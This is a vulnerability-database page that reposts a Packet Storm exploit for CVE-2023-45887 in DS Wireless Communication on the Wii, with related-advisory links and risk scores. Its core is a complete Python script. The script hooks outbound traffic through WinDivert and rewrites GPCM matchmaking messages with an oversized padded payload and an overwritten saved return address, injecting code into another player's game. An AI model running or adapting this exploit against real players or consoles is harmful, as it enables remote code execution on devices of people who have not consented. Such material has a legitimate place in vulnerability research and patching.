Lucene search
K

DS Wireless Communication Code Execution

🗓️ 15 Feb 2024 00:00:00Reported by MikeIsAStar, github.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 328 Views

DS Wireless Communication Remote Code Execution on Wi

Related
Code
ReporterTitlePublishedViews
Family
0day.today
DS Wireless Communication - Remote Code Execution Exploit
17 Feb 202400:00
zdt
ATTACKERKB
CVE-2023-45887
20 Dec 202300:15
attackerkb
Circl
CVE-2023-45887
13 Jan 202411:51
circl
CNNVD
dwc_network_server_emulator Security Vulnerability
19 Dec 202300:00
cnnvd
CVE
CVE-2023-45887
19 Dec 202300:00
cve
Cvelist
CVE-2023-45887
19 Dec 202300:00
cvelist
Exploit DB
DS Wireless Communication - Remote Code Execution
15 Feb 202400:00
exploitdb
NVD
CVE-2023-45887
20 Dec 202300:15
nvd
OSV
CVE-2023-45887
20 Dec 202300:15
osv
Prion
Code injection
20 Dec 202300:15
prion
Rows per page
`# Exploit Title: DS Wireless Communication Remote Code Execution  
# Date: 11 Oct 2023  
# Exploit Author: MikeIsAStar  
# Vendor Homepage: https://www.nintendo.com  
# Version: Unknown  
# Tested on: Wii  
# CVE: CVE-2023-45887  
  
"""This code will inject arbitrary code into a client's game.  
  
You are fully responsible for all activity that occurs while using this code.  
The author of this code can not be held liable to you or to anyone else as a  
result of damages caused by the usage of this code.  
"""  
  
import re  
import sys  
  
try:  
import pydivert  
except ModuleNotFoundError:  
sys.exit("The 'pydivert' module is not installed !")  
  
  
# Variables  
LR_SAVE = b'\x41\x41\x41\x41'  
assert len(LR_SAVE) == 0x04  
PADDING = b'MikeStar'  
assert len(PADDING) > 0x00  
  
# Constants  
DWC_MATCH_COMMAND_INVALID = b'\xFE'  
PADDING_LENGTH = 0x23C  
FINAL_KEY = b'\\final\\'  
WINDIVERT_FILTER = 'outbound and tcp and tcp.PayloadLength > 0'  
  
  
def try_modify_payload(payload):  
message_pattern = rb'\\msg\\GPCM([1-9][0-9]?)vMAT'  
message = re.search(message_pattern, payload)  
if not message:  
return None  
  
payload = payload[:message.end()]  
payload += DWC_MATCH_COMMAND_INVALID  
payload += (PADDING * (PADDING_LENGTH // len(PADDING) + 1))[:PADDING_LENGTH]  
payload += LR_SAVE  
payload += FINAL_KEY  
return payload  
  
  
def main():  
try:  
with pydivert.WinDivert(WINDIVERT_FILTER) as packet_buffer:  
for packet in packet_buffer:  
payload = try_modify_payload(packet.payload)  
if payload is not None:  
print('Modified a GPCM message !')  
packet.payload = payload  
packet_buffer.send(packet)  
except KeyboardInterrupt:  
pass  
except PermissionError:  
sys.exit('This program must be run with administrator privileges !')  
  
  
if __name__ == '__main__':  
main()  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

15 Feb 2024 00:00Current
7.4High risk
Vulners AI Score7.4
CVSS 3.19.8
EPSS0.01127
328